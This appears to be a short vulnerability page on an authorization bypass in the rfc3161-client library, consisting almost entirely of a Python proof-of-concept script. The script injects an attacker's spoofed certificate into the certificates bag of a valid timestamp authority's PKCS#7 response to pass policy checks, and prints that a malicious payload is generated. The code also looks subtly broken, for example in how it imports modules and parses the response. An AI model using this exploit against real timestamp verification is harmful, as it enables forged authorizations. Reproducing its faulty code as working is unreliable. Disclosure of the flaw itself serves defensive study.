CVE-2026-33753 rfc3161-client授权绕过漏洞

# Conceptual PoC for CVE-2026-33753 # This script demonstrates the logic flaw where a spoofed certificate # is added to a PKCS#7 bag to bypass authorization checks. from cryptography.hazmat.primitives import serialization from cryptography import x509 import asn1crypto # 1. Load a valid TSA response (PKCS#7 SignedData) # This contains a valid signature from a trusted TSA with open('valid_tsa_response.der', 'rb') as f: p7_data = f.read() # 2. Load attacker's spoofed certificate # This cert has the required CN and EKU to pass policy checks with open('spoofed_cert.pem', 'rb') as f: spoofed_cert = x509.load_pem_x509_certificate(f.read()) # 3. Parse the PKCS#7 structure signed_data = asn1crypto.pkcs7.SignedData.load(p7_data) # 4. Inject the spoofed certificate into the certificates bag # The library fails to pick the correct leaf cert for verification if 'certificates' not in signed_data: signed_data['certificates'] = asn1crypto.core.SetOf([]) # Convert spoofed cert to DER and add to the bag spoofed_cert_der = spoofed_cert.public_bytes(serialization.Encoding.DER) signed_data['certificates'].append(asn1crypto.x509.Certificate.load(spoofed_cert_der)) # 5. Re-encode the malicious PKCS#7 data malicious_p7 = signed_data.dump() # When rfc3161-client parses 'malicious_p7': # - It extracts the spoofed cert and checks permissions (Pass) # - It verifies the hash against the real TSA cert (Pass) # - Result: Authorization Bypass print("[+] Malicious PKCS#7 payload generated.")